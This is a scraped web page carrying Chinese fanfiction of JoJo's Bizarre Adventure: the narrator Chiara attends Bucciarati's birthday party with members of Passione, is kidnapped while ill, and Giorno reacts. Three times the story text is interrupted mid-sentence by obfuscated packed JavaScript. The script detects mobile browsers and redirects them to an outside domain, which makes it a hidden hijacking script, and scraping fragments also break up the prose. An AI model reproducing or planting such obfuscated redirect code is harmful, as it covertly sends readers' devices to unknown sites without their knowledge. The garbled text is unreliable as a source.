$(''.inform'').remove(); $(''#content'').append('' p> “呃……这样啊……”我努力地想说点什么,但又不知道说什么好,“您和我说这些,目的是什么呢?” 我可是货真价实的普通人啊,知道这些对我有什么好处? “你正在经营的咖啡店,是我以秘密名义买下来的,除了特里休,我没有告诉任何人,包括我在【热情】里的心腹和好友。” 布加拉提的语气缓和了一点,他明显想要安慰我。 “如果你不介意,可以继续在那里工作,我不会让【热情】的事情牵扯到你。如果你觉得害怕,我愿意支付你一笔赔偿金,支持你去找其他工作,你觉得呢?” “这件事情太突然了。”而我脑子乱乱的,“我得好好想想,布加拉提先生。” “抱歉,”他说,“给你添麻烦了。” “不……您是位好人。”我摇摇头。 特里休安静地在一旁喝着果酒,叼着个吸管倾听我们的对话。 等到我们交谈结束,她才开始说话,为布加拉提发声。 “布加拉提总是说到做到,”特里休说,“他说不会让【热情】的事情牵连到你,就绝对不会的。你可以放心哦。他当初就是这样从很多坏人手里保护了我。” “我担心的事情并不只是安全问题,”我有点为难,“还是让我再考虑一下吧。” “好吧。”特里休松开吸管,伸了个懒腰,“不过答应我的挎包你不能赖掉哦!” “不会的。”我笑。 我们就这样在沙发上坐了一会儿,又聊了一些关于衣物鞋包品牌的话题,这个和我的专业相关。 特里休似乎在兼职模特,说起这些也头头是道的。 我们聊得挺开心的。 门铃响了,布加拉提站起来要去开门,特里休中断了和我的对话,随口问道: “是不是纳兰迦到了?” 熟悉的名字让我不由得为之侧目。 “不清楚,或许是米斯达呢?”布加拉提微笑。 “哎~”特里休发出可爱的声音,翻了个身,把脑袋搁在沙发上,瘫坐着,“开门就知道了,快开门呀,布加拉提。” 布加拉提于是从善如流地去打开了门。 光从相处的氛围看,他们真的一点都不像黑.帮相关人员,反而像是融洽的普通家庭。 不过不管怎么说,我这阵子本来就已经够离经叛道的了。 要是再让我出身法官世家的母亲知道,我还和帮派人士混在一起……我已经能想象到那天塌地陷的场景了。 她和外祖父母绝对都会当场晕倒的。 16. 16 门开之后,出现的人竟然是白发酷哥阿帕基。 他似乎和布加拉提很熟悉,摆出了和在咖啡店时完全不同的姿态,放松惬意: “哟,布加拉提。看我给你带了什么?” 布加拉提接过他递上的礼物,温声道:“谢谢你,阿帕基。房子刚刚布置好,你来的正是时候。” 阿帕基笑着,直到视线对上我好奇而探究的目光,他的笑容戛然而止。 “……?”看到我以后,他怔愣了一瞬,然后环顾了一圈四周,似乎是在寻找谁的身影。 但是这栋房子里除了布加拉提和他,就只有我和特里休。 “这是琪亚拉,”布加拉提和阿帕基介绍道,“她是我的人,你可以放心,不用这么警惕。” 阿帕基露出了微妙的表情:“你们……?” 这个男人怪怪的。 “布加拉提先生,”我主动出声道,“我和阿帕基先生之前见过,他经常和朋友去我工作的咖啡店。” 考虑到布加拉提说自己咖啡店老板的身份是保密的,我的声明模糊了许多关键信息。 但是这不妨碍布加拉提听得懂我在说什么,他的朋友阿帕基在他不知道的时候,经常光顾他的咖啡店。 “这样啊。”布加拉提恍然大悟。 阿帕基却仍然是复杂神情,他远远站在门口,原本的放松姿态荡然无存,动作僵硬得明显。 “你们两个是什么关系?”他问。 我猜他是在问我和布加拉提的关系。 “朋友啊。”我理所当然地回答,然后意识到布加拉提掌握着我的薪金,连忙偷偷瞟了他一眼,小声地问,“应该是朋友吧,布加拉提先生?” 阿帕基:“……啧。” 他莫名其妙地发出了咋舌的声音,表情有点不快。 我搞不懂“我和布加拉提先生认识”这一点是哪里戳到他了,迷茫地回头看特里休。 特里休正在捣鼓着手机上的连连看小游戏,粉粉嫩嫩的炸.弹占满了一屏幕,她高兴得咯咯直笑,根本没空关心我的求助。 ……唉。 好难懂哦。 我只好转而为难地看向布加拉提,布加拉提也一脸莫名其妙。 “怎么了,阿帕基?”他直接问道,“有什么问题吗?” “有,但是三言两语和你说不清楚。”阿帕基拽拽地道,“我先确认一下,你们俩没有超过朋友之外的关系吧?” 布加拉提微妙地也露出了一种复杂的神情—— 我猜那是一种害羞。 “怎么突然问这个?” 但是很快,他重新镇定下来,用值得信赖的长辈一样的目光、安抚了一下我。 随后布加拉提和阿帕基道:“琪亚拉是我特别关注的朋友,我的心思没有考虑到男女交往方面,我没有那个空闲也没有那个心情……你是担心我的复出会受到这方面的影响、还是?” “没有就行。”阿帕基不想多说。 他终于从门口挪开,到客厅找了个位置坐下,但目光却时不时地飘到我身上,让我如芒在背。 终于,在我忍不住想找借口暂时溜走到阳台的时候,阿帕基开口了。 “喂。”我听见他招呼了一声。 我转过头,指了指自己,意思是问他是在叫我吗? 阿帕基点点头。 然后他举起一根手指,指了指自己肩膀后面的一个方向: “看得见吗?” 我满头雾水:“什么?” 阿帕基挑眉:“真的看不见?……你完全就是普通人?” “阿帕基。”布加拉提制止了他的行为。 阿帕基放下手,冷哼了一声,和布加拉提说起我听不懂的话来: “我只听说过替身使者会互相吸引,还没听说过普通人身边会有这么多替身使者。” 替身使者,那是什么? 是一种,他和布加拉提彼此心知肚明的暗号吗? 布加拉提严肃地道:“好了,阿帕基,我说了,琪亚拉是在为我做事,是我认可了的人,你不要为难她。” …… 趁着他们还在说着什么,我凑到特里休身边,小声问道: “那个白头发的男人,特里休,你认识吗?” 特里休一边在屏幕上滑滑滑,一边头也不抬地说: “谁?阿帕基?认识啊。” “那你们怎么不打招呼?” “我们关系比较一般,互相点个头就好啦。阿帕基也不是那种喜欢和人寒暄的性格。”特里休说。 “他也是【热情】的成员吗?”我又问。 “嗯。”特里休说,“而且布加拉提不在的这几年,他生成了小组长……本来还可以再进一步的,但是阿帕基说自己喜欢简单点,就拒绝了。” 哦,原来又是一个黑.帮啊。 “我刚才听你说到‘纳兰伽’了,是吗?”然后我向特里休确认,“是一个深紫色短发、喜欢带橙色头巾的男孩子吗?” “你们认识?”特里休终于把目光从手机屏幕上移开了,她看向我的脸,语气里掩盖不住的雀跃,“是在哪里认识的?” 我思考了一下,把我和纳兰伽、还有阿帕基遇见的全过程告诉了特里休。 特里休听完,撇了一下嘴,露出了一个有点疑问的表情,随后和我道: “纳兰伽和阿帕基的确就是这样的性格没有错……不过好奇怪,他们应该都有自己事情要忙,怎么会都跑到你的咖啡店去?尤其是纳兰伽,他最近一直和我嚷嚷着某人当上BOSS以后拼命让他干活……” 说到一半,她突然停下了话语。 我不明所以地看着她。 特里休握紧拳头,露出愤愤的表情: “原来如此,我明白了,他在骗我!实际上他在偷偷幸福!” 我:“……啊?” “太可恶了纳兰伽,”特里休已经完全沉浸在了自己的世界里,接着道,“我不过就是逛街让他帮我多拿了点东西,出门的时候多花了点他的钱,还不让他在车上打瞌睡而已……他怎么可以假装任务忙不出来和我玩?” ……好复杂的爱恨情仇,我不懂。 但我确认了一点,纳兰伽好像也是【热情】的一员。 这个组织怎么回事,私底下就是喜欢一起跑去咖啡店团建的吗? 既然如此,布加拉提直接把咖啡店送给他们之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171634|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的某个人经营不就好了? 说纳兰伽、纳兰伽就到了。 门铃又响了。 这次自觉跑去开门的是阿帕基。 纳兰伽一进来就活力满满地和布加拉提打招呼,接着看向特里休,然后自然而然地看见了我。 看见我以后,他露出惊讶表情,伸出手指着我震惊道: “琪亚拉?你怎么在这里?是乔——#¥%你?¥¥……” 他话还没说完,阿帕基就无声闪现出现在他背后,伸手捂住了他的嘴,把他拎到旁边去了。 纳兰伽“唔唔唔”地蹬着脚挣扎,但是反抗无效,阿帕基的体格明显要比他健壮。 他低声和纳兰伽说了一句什么,纳兰伽睁圆了眼睛,然后点点头,阿帕基这才放开他。 布加拉提问:“阿帕基,你又怎么了?” “没什么。”阿帕基按着纳兰伽的肩膀,言简意赅地说,“我让他不要大呼小叫的,沉稳一点。” 纳兰伽露出一个心虚的笑容:“对!” 连我都看出他表情里的作假了,布加拉提就更不用提。 “是吗?”他感到怀疑。 “我们总不会设局害你吧?别多想,布加拉提。”阿帕基说。 这套说辞并不完美,但是成功打消了布加拉提的疑虑,他想了想,就决定不再过问了。 特里休放下了手机,朝纳兰伽冲了过去,两个人明显关系要好,一起蹲到角落里嘀嘀咕咕起来,时不时掩着嘴偷笑。 不知道他们聊到了什么,纳兰伽突然看向我,表情哀怨。 怎么又看我? 我真想出去了。 “我真的在执行任务,特里休,”然后我听见他信誓旦旦地和粉发少女道,“但是是秘密任务,他们不让我说啊。阿帕基知道的。” 阿帕基抬起下巴,并不给纳兰伽面子:“我看你趁机玩得很开心。那个任务唯一的难度还是你自己制造出来的。” “工作上的事情留到工作时间说,”布加拉提打断了他们的谈话,“琪亚拉还在这里呢,你们讨论一些普通的话题吧。” 大家集体沉默下来。 除了帮派工作上的事,他们似乎找不到互相都感兴趣的话题了。 场面尴尬下来,这回轮到布加拉提用求助的眼神看向我—— 毕竟我是他们之中唯一的普通人。 能够提供普通日常又无害话题的就只有我了。 思考两秒,我从背后拿出包装好的饼干,弯起眼睛: “我烤了一些饼干,大家要尝尝吗?” “好耶!”纳兰伽欢呼,冲过来,“是什么饼干?” “草莓牛奶。”我回答。 纳兰伽接过饼干开啃,阿帕基也拿了一块,布加拉提摇摇头,表示他暂时不感兴趣,特里休从纳兰伽手里拿过了一块。 她端详着饼干,突然蹦出来一句: “这个口味,乔鲁诺好像喜欢。” “……”本来还欢天喜地的纳兰伽,石化了。 阿帕基的动作也止住了。 ——辛辛苦苦遮掩了那么久的那个名字,竟然就被特里休若无其事地爆出来了啊! 可恶! 17.17 我没有听清特里休在说什么。 “怎么了?”于是我对着她问,“不喜欢吗?” “不,挺好吃的,”特里休把饼干送进了嘴巴里,咀嚼起来,“你的手艺真好。” “喜欢就好。”我放下心来。 角落里,纳兰迦也长长地吐出一口气,绷紧的脊背重新松懈下来。 …… 布加拉提的生日聚会并没有邀请多少人。 大家聚在一起吃了蛋糕,说笑了一阵子,特里休就和纳兰伽率先跳起了舞,受到他们的影响,剩下的人们也开始随着音乐摇摆起来。 布加拉提没有加入。 他坐在原地,目光如湖水,温柔地倒映着这栋房子里快乐的人们。 ……无论怎么看,他都不像是我认知里的黑.帮。 外祖父母偶尔会处理与帮派相关的案件,在那些案件里,和帮派相关的流氓总是显得残忍而没有人性。 但是布加拉提?他不仅很有人情味,甚至都沾了点神性了。 想到这里,我怔怔对着布加拉提发呆出了神。 他察觉到我呆滞的目光,转过脸来,对我露出疑问的表情。 我回过神来,对他笑笑。 “咔嚓”一声,白光一闪,我循着声音看去,特里休大大方方地对我摇了摇手里的相机,示意是她拍的照。 背景音乐的声音有点嘈杂,我听不到她的声音,只看得见她用嘴型对我说了一句“拍得很好!”。 傍晚的时候,人们在这栋房子里来来去去,阿帕基匆匆忙忙地走了,一个带着蓝红色帽子和露腰短款上衣的男人进来了,布加拉提管他叫“米斯达”。 我突然发现,布加拉提本人和他的朋友都很有辨识度。 阿帕基一头白发涂口黑,纳兰伽喜欢带亮色头巾、下装在裤装以外,也会额外再搭配一条同色系裙装,而新认识的这位米斯达先生除了蓝红色的着装很引人注目以外,还有着突出的个人信仰。 “数字4不吉利”,他一进来就这么说着,然后极力避免一切和“4”有关的事物。 我没有问特里休,米斯达是不是黑.帮成员,他随身带着的一把小手枪,已经揭示了一切—— 【热情】的成员,都这么有个性吗? 他们老板管理起来不会觉得很困难吗? 比如说,阿帕基时髦得就和时尚杂志封面一样的个人形象,肯定很显眼吧? 做了坏事绝对会被立马记下来,很不方便在警察或者普通市民眼底下出没。 又比如说,米斯达这么避讳4,他会不会拒绝在星期四出门? 纳兰伽感觉大脑构造很简单,布加拉提感觉太老好人了…… 这些都会给“不是你死、就是我亡”的帮派任务带来麻烦吧? 【热情】,真是一个神秘难懂的帮派。 不过,或许,这正是它能成为意大利势力扩张最快的帮派的原因。 这一天的生日聚会,最后以布加拉提打算开车送我、特里休追出来硬塞了一张照片给我,作为结尾。 我低头看了眼手里的照片,我在镜头前方发着呆,特里休巧妙地运用了构图手法,拍到了另一个方向正在微笑的布加拉提,我们两个同时出现在画面上,镜头语言充满了故事感。 像是电影画面的截图。 “一人一张。”她给布加拉提也塞了一张,“我刚刚打印的!” “谢谢你,特里休,我会留念的。”我问,“对了,我可以和你也合影一张吗?” 特里休说当然,布加拉提自然而然地接过相机帮忙。 结果并不美妙,特里休指导了半天,布加拉提也没拍出她想要的内容。 “差一点感觉……布加拉提,你要用心去捕捉!不是简单还原我说的构图。”特里休很严格。 布加拉提叹了口气:“要不换个人来拍?” 特里休拒绝了,说纳兰伽和米斯达拍照也不怎么样,然后收回相机。 “算了,这次就勉强收下这几张照片好了,下次再一起重新拍吧。”她和我道,“你下次穿短裙吧,虽然今天也很不错,但我觉得你更适合走性感风,肯定会迷倒半座城市的男人。” 我:“……我并不追求这种效果。” “是吗?”特里休遗憾地用目光在我身上打了个转,“可是我看你身材真的很不错……” 她露出一种十分羡慕的表情,动作可疑地伸出手,在半空中抓了抓,语气怅惘极了: “完全没有垫啊,真的就这么大……偷偷捏了几次都是这个手感……嘿嘿。” 我:“……特里休。” 你都说出来了,到底“偷偷”在哪里了啊? 刚才在房子里,我本来就有点怀疑特里休是不是故意揩油,但一对上到她无辜美丽的双眼,就觉得是自己多心了。 谁知道这会儿她正大光明地承认了自己的小动作。 特里休被我喊了一句名字以后,才收回半空中意犹未尽的一只手,道:“啊,抱歉。” ……话是这么说,但她清澈的眼神里分明毫无愧疚之意! 布加拉提轻咳了一声:“嗯……时候不早了。” 他若无其事地假装什么都没听见,问:“上车吗,琪亚拉?我送你回去。” 我飞也似的逃离了现场。 临走的时候,我还在汽车的后视镜里,看到特里休对我眨了单只眼睛,撑着腰比了个飞吻。 ……! 我快速收回视线,感觉心情有点麻木了。 活到这把年纪,竟然被漂亮小妹妹调戏了…… 现在的年轻人都怎么回事? 乔鲁诺也总是,总是一言不合就开始说情话,用那张英俊又漂亮的脸对我极尽魅惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177032|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可恶。 快要招架不住了! 我一路捏紧了安全带,在心里默念了几句“冷静”“冷静”,到了家门口,才感觉心情舒缓了点。 “再见,琪亚拉。”布加拉提和我告别。 我也伸出手和他告别。 等回到家,我看了眼时间,已经是晚上八点了。 不知道乔鲁诺现在在干什么。 我犹豫了一下,拍了张橱柜里专门留给他的巧克力饼干的照片,发送给他: “有空吗?我做了小饼干,要尝尝吗?” 乔鲁诺没有回复。 我洗漱完收拾了一下,在床上半躺着看电视,看到快要睡着的时候,手机才提示新信息。 乔鲁诺问我什么时候休息睡觉。 我估算了一下:“再过半个小时吧。” “抱歉,”他说,“那我来不及了,今天很忙,我待会儿还有一些别的事情要处理。” 我:“没关系,我明白。” 乔鲁诺又问:“可以让我看看你吗?” 我奇怪了一下,他不是没时间出现吗?可很快又想到,他可能在和我要照片。 “今天一整天都没有看见你,总觉得不太安心。”乔鲁诺又说。 我犹豫了一下,看着他的信息,最后还是选择把摄像头打开,对准了自己,检查了一下着装和背景,没有问题之后拍摄发送。 “这样?”我问。 乔鲁诺:“^_^” 乔鲁诺:“谢谢你答应了我的请求,现在我很高兴。” 乔鲁诺:“很想你,期待明天能见到你。” 他第一次在对话框里连着发这么长一串话。 我摸了摸脸颊,喉咙有点发干。 唉,乔鲁诺。 思来想去,不知该用什么语言回复,最后我礼貌地也回了一个微笑的表情,若无其事地答话。 我:“^_^” 我:“不是无偿的,你也发。” 过了几秒,乔鲁诺的照片传了过来。 他坐在车里,灯光昏暗,画质模糊。 我看不清他的脸,目光忍不住聚焦在他胸口前露出来的一个小洞上,从那个地方,可以微妙地窥见他肌肉线条的一部分。 哎呀—— 我放下手机,不管还在播放的电视,用被子把自己闷起来,从大床的左侧滚到了右侧又滚回来。 想到自己今天被特里休偷摸的事情,我突然从质疑特里休转变到了理解特里休。 我也想摸……当然不是想摸特里休……是想…… 哎! 感觉“实物”到手会很幸福……嗯。 想到这里,我忍不住又翻滚了一下,然后偷偷笑了起来。 这一次的交换照片真是太划算了! 我平时都不好意思盯着他胸口看的。 18.18 这一天的晚上,可能因为久违地参加了一次聚会,也可能是因为睡前情绪起伏太大,总之,最后我做了一晚上的梦。 梦境五彩斑斓。 我记不清梦里面到底都发生了什么,只觉得起床的时候头重脚轻,整个人都乱糟糟的,身上一会儿冷一会儿热,混乱得不得了。 在洗漱完毕以后,我对着镜子发呆了很久,才意识到,我这个状态大概是没法出门去工作了。 可是我昨天才请过假…… 想到这里,缓了缓神,我还是摇摇晃晃地从洗手间里走出去,收拾背包。 收拾到一半,我就觉得自己连抬手的力气都没有了。 看来还是只能请假。 简单地判断了一下自己的情况,我从医药箱里找出体温测量计,上面的数字显示我已经处于发烧状态。 我拍下照片,将它发送给布加拉提,和他申请再次请假,同时表示自己的歉意。 布加拉提很包容地表示没有关系,让我好好休息。 我简单吃过面包当做早餐,又吃了药,重新裹上被子,昏睡过去。 …… 人类是群居动物。 十五六岁的时候,我完全无法忍受自己任何一个时刻处于落单状态。 但是很奇怪的,每次回家看见母亲,我反而又希望自己能够独处。 因此,上学成了我每天最期待的事情。 为了能够尽可能地离开母亲,获得自由,我还特地找到理由,转学去了一个离家很远很远的住宿学校。 每个假期的尾声,我会迫不及待地趁着母亲还在诊所的功夫,自己拖着行李箱跑出来。 那是我每个月最高兴的时候。 我会一路哼着歌,看着窗外的风景,沉浸在自己愉悦的心情里。 计程车司机偶尔会和我说话,他的半张脸都隐藏在车棚投下来的阴影里,我只能看见他模糊的侧脸。 “您看起来很高兴,小姐。” 他的声音像初秋的微风,带着一点夏季的余温。 好熟悉的声音。 是在哪里听过呢? …… 一觉睡醒,已经是几个小时以后的事情。 我依稀记得自己做了一个回到少年时期的梦,我坐在一辆车上,车窗开了一半,窗外蓝色的天空非常澄澈,还有大朵大朵的白云。 车上放着融合了爵士元素的摇滚歌曲,司机偶尔会在十字路口前等红绿灯的时候,用手指敲着节拍,跟着哼唱。 车里还有一股淡淡的香味。 那个味道很特别,轻松惬意。 我总是忍不住在车上犯困。 但为了安全,又强撑着,等到一下车,就迫不及待地跑回宿舍里睡觉。 睡醒的感觉真好。 我给自己煮了一份蔬菜汤,又量了一下体温,情况已经比早上好了很多,只是还有点低烧。 阳光从屋外洒落,我坐在阳台边,突然觉得有点手痒,这么好的风景,适合弹琴或者拉小提琴。 说起来,不知道母亲的诊所今天忙不忙,她如果不在家,我可以偷偷溜回去带点东西出来。 父亲……父亲向来喜欢住在种植园里,我不用考虑他。 说干就干。 喝了点汤,又吃了药,我收拾好自己到户外拦了一辆车,报上家里的住址。 司机通过后视镜和我对视了一眼,他在镜子里的眼睛是倒三角形的,瞳仁很小,让人看了不太舒服。 “小姐,你长得可真漂亮。”他对我说。 我心下警惕起来,随口回应了一句谢谢,低头从手机里找到菲奥娜的联系方式,问她现在有没有空,能否接通电话。 菲奥娜没有回复,可能正在忙,她这个职业执行外勤的情况复杂,我能理解。 于是我想了想,改变了目标,去找乔鲁诺。 如果是乔鲁诺的话,我就不担心自己的电话会给他带来困扰…… 据我目前观察,他像是个无所事事的有钱小少爷,身份目前是学生,没那么多需要避讳的。 所以我直接打通了电话。 “喂,乔鲁诺?”他接得很快,我直接和他说,“我现在在坐车。” 没有解释前因后果,我给他报了一遍自己目前的地址和打算要去的地址,乔鲁诺的声音很严肃,意识到了我的不安: “发生什么事了?需要我去接你吗?” 我:“如果你方便……” 手机突然发出尖锐的噪音,通话被切断了,前排的司机叹了口气,忧郁地道: “小姐,你这样让我们很难办。” 接着,不知道他做了什么手脚,眼前一黑,我晕了过去。 再睁开眼的时候,我还是只能看见一片黑暗,我吓了一跳,以为自己是被什么人关进了小黑屋,后来才慢慢意识到,自己是被人绑住了眼睛。 一个沙哑的声音伴随着烟味一起飘了过来。 “是她吗?” “绝对是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201303|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来不确定,只是觉得这小妞长得还可以,说不定能派上用场,但她自己给那边打了个电话。” “你确定?听清楚了?” “我听得很清楚,接电话的就是那个男人。” 他们好像和乔鲁诺有仇,我被牵连了。 我竟然因为谈恋爱遇到了绑架。 这可太神奇了。 乱七八糟的声音接连不断的响起,我的头痛起来,突突的跳着痛。 本来发烧就还没有完全好,这群家伙把我绑过来之后又潦草地把我扔在地板角落里,房间潮湿冰冷,我很不舒服。 我的嘴也被封上了。 无法呼救,被限制了行动倒在地上,加上生病,我很快又晕了过去。 “……的前车之鉴还在,你们如果对她出手,我将视作你们放弃了规矩,想要和我乔鲁诺.乔巴那进行无限制的死斗。” “我绝对不会宽恕你们这种行为。” 朦朦胧胧的,我好像听见了乔鲁诺的声音。 他的声音穿插在我少年时期搭载计程车的记忆里,混着爵士乐和摇滚的节拍,漂浮着鸢尾花一样淡到几乎要忽略不计的幽香。 做梦的人是没有逻辑的,我忘记自己在梦里经历了什么,但深刻地记得我在梦里判定乔鲁诺就是那个过去常常开车载我的司机。 这不可能,他明明比我还要小上几岁,除非他去开黑车,不然我们俩不会在这件事情上有交集。 以他目前富裕的经济条件看,他也不需要开黑车。 惊心动魄的绑架事件以我最后在医院醒来,菲奥娜在一旁陪着我作为结尾。 她说她接到了警报,冲进去解救了我,乔鲁诺很关心此事,提供了很多支持。 但是。 犹豫了一下,她又严肃地和我说: “不要和他在一起了,琪亚拉,这个人太危险了。” 我刚被绑架,她感到忧虑,这一切都是情有可原的。 可是我躺在病床上,看着天花板和吊针,可能是病毒入侵烧坏了我的大脑,我竟然前言不搭后语地对菲奥娜突然说了一句: “可是他身上也有鸢尾花的味道。” 并不觉得劫后余生,也没有对危险事件的复盘。 我的脑子里都是梦里的东西。 蓝天,白云,海风,逃离家园的漫长公路,轻快的爵士摇滚,开车平稳,说话礼貌又妥帖的司机。 鸢尾花的味道。 如果他是乔鲁诺就好了。 19.19 乔鲁诺偶尔会考虑自己的选择是不是不够恰当。 这个疑问在布加拉提重新复出,回到【热情】的时候,默默攀到了一个小高峰。 看着布加拉提,他就会不合时宜地想起纳兰伽和自己说的,他在布加拉提的生日会上见到了琪亚拉。 布加拉提昨天举办了生日会,琪亚拉昨天也刚好去给“朋友”过生日……一切其实早有端倪,但是他很难相信这一切就发生得这样巧合。 这座城市真小。 “他们是怎么认识的?”乔鲁诺这么问过纳兰伽。 纳兰伽却支支吾吾地答不上来:“这……我怎么知道&” “够了,乔鲁诺。”一旁的阿帕基看不下去,冷冷地出声,“这种情况,你不应该警惕吗?虽然我不知道你们到底是怎么回事,但是一个普通人同时引起了你和布加拉提的注意,这种概率能有多少?那个女人很危险,我无法信任她。” “她不会对我们有威胁,”乔鲁诺心不在焉,“我认识她的时间远比你所能够想象得要更久,我几乎了解她的一切,阿帕基,我能够为此担保。” “可是你不知道她认识布加拉提。”阿帕基指出。 好吧。 乔鲁诺噤声了。 于是,接下来很长的一段时间,看见布加拉提,他就忍不住会猜想对方和琪亚拉的关系。 能够解决问题最有效的途径就是直接问布加拉提,可是不巧,乔鲁诺有自己不能开口询问的理由。 他并不想在布加拉提面前暴露自己认识琪亚拉的事实。 几乎每个掺和进这件事情的人,都要恶狠狠地警告他一句: 乔鲁诺,你真是棋差一着,昏了头了,快点停下来吧—— 乔鲁诺完全能理解他们的担忧,可他又向来是个倔脾气,他真心想要去做的事情,谁劝、谁拦,都改变不了他的心意。 可是,如果是布加拉提说,乔鲁诺,你们的确不合适呢? 在这位生死相交的挚友面前,他要用什么借口进行辩驳呢? 乔鲁诺还没有想好。 也正是因此,今天一整天,乔鲁诺都只来得及和忙碌的布加拉提补上一句,“生日快乐”。 布加拉提微微一笑,收下了他的祝福和礼物,便又飞也似的跨出了房间,忙活着任务去了。 ……大概是在这几年,布加拉提才从重伤昏迷中苏醒过来,逐渐进行复健。 养病期间、身体恢复以后,布加拉提一直相当低调,几乎从来不出门,只偶尔见一些老友。 他和琪亚拉到底是怎么相识的,两人间又发生了什么故事? 琪亚拉对所有异性包括自己都常常不假辞色,为何独独对布加拉提的生日上心到这样的地步? 据他所知,她明明尽可能地斩断了一切和过去的羁绊……哦,难道他们是在她展开新生活的时候认识的? 看着布加拉提的背影,乔鲁诺忍不住又猜测起来。 推理到一半,他忽然接到了正在思考的对象的电话——琪亚拉竟然主动拨通了他的电话。 她并不喜欢和人通话。 她一定是遇到了什么紧急情况。 乔鲁诺接通了电话。 “我现在在坐车,乔鲁诺。”琪亚拉的声音听上去要比平时虚弱一些,她咳嗽了两声,才继续往下说,“我正打算回家一趟,我家在……我现在在……” 她异常地报了一连串地名给乔鲁诺。 乔鲁诺立刻从椅子上站了起来,脑海中的警报连环作响: “怎么了,琪亚拉?需要我去找你吗?” “如果你方便的话——” “滴——” 通话被切断了。 乔鲁诺站在原地,各种复杂的情绪,恼怒、忧虑、烦躁……卷作一团,如海浪般互相裹挟着,翻涌而上。 “纳兰伽,”他问,“今天轮到谁保护琪亚拉?” 纳兰伽一愣:“我不知道,你得问阿帕基。” 阿帕基很快被叫过来,他皱皱眉头:“今天应该是你去店里,纳兰伽。” “可是咖啡店今天没开呀,”纳兰伽理所当然地道,“她住的地方是你负责的区域。” 于是几人要找到阿帕基安排好的守卫,对方则更加茫然地表示没见到过琪亚拉离开住所,她一早起来好像不太舒服,就拉上了窗帘一直在睡觉。 阿帕基在现场使用了替身能力,快进调查以后发现琪亚拉今天一早起来似乎是生了病,吃药过后确实在床上躺了一上午,但后来不知道为什么出门了。 阿帕基的下属在琪亚拉出门的时候恰好打了会儿瞌睡,就这么把任务搞砸了。 这件事牵涉到自己管理的部下,阿帕基调查出结果以后脸都黑了,乔鲁诺没有说话,他主动先替部下揽下了一半的责任,接着忙着奔走调查琪亚拉的下落。 ……其实也并不怎么需要调查。 胆大包天、在【热情】眼皮子底下,绑走琪亚拉的家伙,迫不及待地主动跳了出来,以琪亚拉作为威胁,要求乔鲁诺重新商议许诺给他们的港口利润。 那不勒斯竟然还有这样的蠢货。 就算是纳兰伽,听到这条件,都忍不住捂着肚子笑了出来。 “他们竟然跟你谈条件,乔鲁诺——看来你的名声还是不够响亮啊!” 而对此,乔鲁诺只是淡淡地叹气。 “总会有这种人的。”他绿色的眼眸里像是埋葬着一片碧绿的海洋,“……我并不惧怕强大的敌人,只是对这些贪婪又愚蠢的家伙感到担心。” 接着,他又转向阿帕基,交代道: “我要出去一趟,阿帕基,……如果布加拉提问起来,你可以如实告诉他我去了哪里。” “你现在舍得说出一切了?”布加拉提挑眉,感到怀疑。 “我不确定自己应不应该这么做,”乔鲁诺说,“但是,这件事情让我觉得,我或许真的很需要布加拉提的意见……如果是他的建议,或许我会愿意说服自己离开琪亚拉。” 但是,还有另一种可能。 乔鲁诺莫名觉得,布加拉提会有百分之五十支持自己的可能。 毕竟他是布加拉提。 ……所以布加拉提和琪亚拉到底是怎么认识的?他们之间到底有什么故事? 乔鲁诺又开始困扰于这个问题了。 阿帕基坚持让他带上了几个撑场面的下属,检查了一番众人的配备后,才放心地让他们离开,纳兰伽在一旁看完了全程,忍不住吐槽: “自从布加拉提昏迷以后,阿帕基越来越像布加拉提了……婆婆妈妈的。现在布加拉提回来了,你还是改不掉。” “……闭嘴。”阿帕基恼羞成怒了。 看到两个好友的打闹,原本心头沉甸甸的乔鲁诺,一下子情绪开朗了许多。 他向阿帕基和纳兰伽招招手,离开了。 …… 和琪亚拉这样的普通人不同,乔鲁诺和身边大多数好友,都拥有一种名为“替身使者”的特殊能力,替身使者不仅能够展现异能,还是本体的精神外显。 乔鲁诺的替身使者名为黄金体验,能力是赋予无机物生命,就像他曾经将送给琪亚拉的手链变成小鸟,后来又收回能力,让小鸟变回手链那样。 这份能力如果作用在人类身上,则会使得人类精神暴走。
